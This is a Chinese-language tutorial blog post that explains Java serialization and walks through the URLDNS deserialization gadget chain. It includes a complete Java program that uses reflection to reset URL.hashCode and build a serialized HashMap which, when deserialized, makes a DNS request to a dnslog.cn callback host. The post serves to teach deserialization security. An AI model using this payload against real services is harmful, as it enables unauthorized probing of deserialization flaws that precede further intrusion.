簡單的UrlDns鏈分析

A8k1a4發表於2024-04-16

URLDNS鏈學習
首先我們先理解一下序列化與反序列化,我先貼出三段程式碼,大家可以嘗試先體驗一下。

首先我們先構造一個Person類,其實跟這條鏈沒什麼關係,主要涉及序列化

點選檢視程式碼
// 引入 Java 的 Serializable 介面,這是必需的,以便該類的物件可以被序列化和反序列化。
import java.io.Serializable;
// 定義一個公開的類 Person,實現了 Serializable 介面。
// 實現 Serializable 介面是告訴 Java 這個類的物件可以被序列化(轉換為一系列位元組)和反序列化(從位元組序列恢復為物件)。
public class Person implements Serializable {
    // 定義私有變數 name,型別為 String。私有的意思是這個變數只能在本類內部被訪問。
    private String name;
    // 定義私有變數 age,型別為 int。
    private int age;

    // 定義無引數的建構函式。如果沒有其他建構函式,Java會自動提供這樣一個無引數的建構函式。
    // 這裡顯式定義是為了清楚表明這個類有一個無引數的構造選項。
    public Person() {
    }


    // 定義一個帶有兩個引數的建構函式,接收一個字串 name 和一個整數 age。
    // 這個建構函式用來建立一個具有特定名字和年齡的 Person 物件。
    public Person(String name, int age) {
        this.name = name; // 將傳入的引數 name 賦值給成員變數 name。
        this.age = age;   // 將傳入的引數 age 賦值給成員變數 age。
    }

    // 覆蓋了 Object 類的 toString 方法。
    // toString 方法用於返回物件的字串表示形式,通常用於除錯和日誌記錄。
    @Override
    public String toString() {
        return "Person{" +
                "name = " + name + '\'' +  // 將成員變數 name 加入到返回的字串中。
                ", age = " + age +         // 將成員變數 age 加入到返回的字串中。
                '}';
    }
}

序列化類

序列化: 在 Java 中,序列化是透過 ObjectOutputStream 類實現的。當呼叫 writeObject() 方法時,它會檢查傳入的物件是否實現了 Serializable 介面。如果實現了,Java 序列化機制就會自動處理該物件及其所有的子物件的序列化過程,並將其轉換成一個連續的位元組流,然後將這些位元組寫入到指定的輸出流(在本例中是檔案 "ser.bin")。

點選檢視程式碼
// 引入必要的 Java 標準庫,以便進行檔案操作、網路通訊等。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

// 定義一個名為 SerializationTest 的公開類,用於測試序列化。
public class SerializationTest {
    // 定義一個靜態方法 serialize,用於序列化任意物件。
    // 方法接收一個 Object 型別的引數 obj,表示要被序列化的物件。
    public static void serialize(Object obj) throws IOException {
        // 建立一個 ObjectOutputStream 物件 oos,它被連線到一個名為 "ser.bin" 的檔案的 FileOutputStream。
        // ObjectOutputStream 用於將物件的序列化表示寫入到輸出流中。
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        // 使用 ObjectOutputStream 的 writeObject 方法將 obj 物件寫入到前面建立的檔案中。
        // 這是實際執行序列化操作的地方,物件狀態被轉化為位元組序列並儲存。
        oos.writeObject(obj);
    }

    // 定義 main 方法,它是程式的入口點。
    public static void main(String[] args) throws Exception {
        // 建立一個 Person 物件,名字為 "aa",年齡為 22。
        Person person = new Person("aa", 22);

        // 呼叫前面定義的 serialize 方法,傳入 person 物件進行序列化。
        // 該呼叫會將 person 物件的狀態儲存到名為 "ser.bin" 的檔案中。
        serialize(person);
    }
}

反序列化類

反序列化: 在 Java 中,反序列化是透過 ObjectInputStream 類實現的。當呼叫 readObject() 方法時,Java 反序列化機制從輸入流中讀取之前序列化的位元組流,將其轉換回原來的物件,並確保所有物件的型別資訊和資料都被正確恢復。

點選檢視程式碼
// 引入必要的 Java 輸入輸出庫,這些庫提供了檔案操作和物件輸入輸出流的功能。
import java.io.*;
import java.io.IOException;
import java.io.ObjectInputStream;

// 定義一個名為 UnserializeTest 的公開類,用於測試反序列化。
public class UnserializeTest {
    // 定義一個靜態方法 unserialize,用於從檔案中反序列化物件。
    // 方法接收一個字串引數 Filename,表示包含序列化物件資料的檔名。
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        // 建立一個 ObjectInputStream 物件 ois,它被連線到一個名為 Filename 的檔案的 FileInputStream。
        // ObjectInputStream 用於從輸入流中讀取物件的序列化表示。
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        // 使用 ObjectInputStream 的 readObject 方法讀取並返回反序列化的物件。
        // 這是實際執行反序列化操作的地方,位元組序列被轉化回 Java 物件。
        Object obj = ois.readObject();
        return obj;
    }

    // 定義 main 方法,它是程式的入口點。
    public static void main(String[] args) throws Exception {
        // 呼叫 unserialize 方法,從檔案 "ser.bin" 中反序列化物件。
        // 將返回的 Object 強制型別轉換為 Person 型別。
        Person person = (Person) unserialize("ser.bin");
        // 列印反序列化得到的 Person 物件。
        // 呼叫 Person 類的 toString 方法,顯示物件的詳細資訊。
        System.out.println(person);
    }
}


下面我們來講一下DNS鏈

點選檢視程式碼
HashMap.readObject()
        HashMap.putVal()
          HashMap.hash()
	          URL.hashCode()

程式碼主要是先找到URL類裡面的hashCode()方法

點選檢視程式碼
// 定義一個公共的同步方法 hashCode,返回一個整型值。
// 'synchronized' 關鍵字確保在同一時刻只有一個執行緒可以執行這個方法,防止多執行緒環境下的資料競爭。
public synchronized int hashCode() {
    // 如果例項變數 hashCode 的值不是 -1,說明之前已經計算過雜湊碼,並快取了結果。
    // 這是一種提高效率的做法,避免重複計算雜湊值。
    if (hashCode != -1)
        return hashCode; // 直接返回已經計算好的雜湊碼。

    // 如果 hashCode 是 -1,說明還沒有計算過雜湊碼,需要計算。
    // 呼叫 handler 的 hashCode 方法來計算當前物件的雜湊碼。
    // 這裡的 handler 是一個假定存在的欄位或者變數,可能是這個類的一個屬性,負責具體的雜湊計算邏輯。
    hashCode = handler.hashCode(this);
    
    // 返回新計算的雜湊碼。
    return hashCode;
}

然後我們跟進這裡的hashCode

走到URLStreamHandler這個類中,看到hashCode這個方法,發現getHostAddress這個方法,實際上意思就是根據域名來獲取地址

獲取主機的 IP 地址。如果主機欄位為空或 DNS 解析失敗,將返回 null。

這個鏈其實就是兩部分的內容,首先是,HashMap方法裡面呼叫了hashCode()方法, 透過這個hashCode()方法,就可以走到URL這裡的hashCode()方法。

這個時候我們就可以寫一下程式碼,嘗試執行以下請求DNSlog

點選檢視程式碼
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        Person person = new Person("aa", 22);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        hashmap.put(new URL(""),1);
        serialize(person);
    }
}

我們跟進這個URL類,看一卡它的建構函式是怎麼寫的,然後我們就知道放什麼了

這裡的意思是放一個連結進行就行,所以上面程式碼中URL傳參,就可以放一個DNSLOG進去

現在我們嘗試去進行序列化,然後在反序列化的時候,使其傳送請求,看是否可以

進行序列化,發現已經請求了DNSlog

為什麼在沒有進行反序列化的時候,就可以傳送請求,我們跟進put方法看一下

點選檢視程式碼
/**
 * 將指定的鍵和值新增到這個map中。
 * 
 * @param key   要與指定值關聯的鍵。
 * @param value 與指定鍵關聯的值。
 * @return 如果該鍵之前已經有對應的值,則返回舊值;否則返回null。
 */
public V put(K key, V value) {
    // 呼叫putVal方法實現鍵值對的新增。hash(key)計算鍵的雜湊值。
    // 引數說明:
    // - hash(key): 根據鍵計算出的雜湊值,用於確定鍵值對在map中的儲存位置。
    // - key: 要新增到map中的鍵。
    // - value: 要與鍵關聯的值。
    // - false: 表示不是用來替代整個map的。
    // - true: 表明結構(buckets)可能需要改變(如rehashing、擴容等)。
    return putVal(hash(key), key, value, false, true);
}

意思就是為了確保鍵值對的唯一,在HashMap這個類中,已經呼叫了hash方法,轉而呼叫了hashCode方法,然後就在未序列化之前傳送了請求。

為什麼呢,因為在URL類的hashCode()方法中,有一個判斷就是,意思前面也講過,就是如果hashCode不等於-1,就直接返回,不會執行下面的程式碼

點選檢視程式碼
if (hashCode != -1)
            return hashCode;

hashCode只有在初始化的時候才是-1

但是我們在程式碼中去呼叫put方法的時候,就已經改變了值,所以hashCode在序列化的時候就已經不是-1了,所以在進行反序列化,就不會執行。

所以我們就要嘗試進行

我們在第一次序列化的時候,不想讓URL發起請求,如果當這個hash Code當時已經不是-1了,這樣我們就不會在put的時候發起請求了

所以我們需要在反序列化之前,把hashCode改回來

直接看程式碼,透過反射

點選檢視程式碼
 public static void main(String[] args) throws Exception {
        //Person person = new Person("aa", 22);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        //這裡不要發起請求,把url物件改成不是-1
        URL url = new URL("http://rdpr0d.dnslog.cn\n");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);
        hashmap.put(url,1);
        //這裡把hashCode()改回-1,改回hashCode的值為-1
        //透過反射,改變已有物件的屬性
        serialize(hashmap);
    }
}

無DNslog回顯,證明已經修改了hashCode的值不等於-1.

然後我們將程式碼下面新增一行,將hashCode改為-1

在進行反序列化,可以看到dnslog已經成功記錄到了

點選檢視程式碼
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        //Person person = new Person("aa", 22);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        //這裡不要發起請求,把url物件改成不是-1
        URL url = new URL("http://5cv1ga.dnslog.cn\n");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);
        hashmap.put(url,1);
        //這裡把hashCode()改回-1,改回hashCode的值為-1
        //透過反射,改變已有物件的屬性
        hashcodefield.set(url,-1);
        serialize(hashmap);
    }
}

在反序列化Debug後,在URL.hashCode處下個斷點,可以發現已經成功改成-1了

證明賦值已經成功了,成功發起了DNS請求

相關文章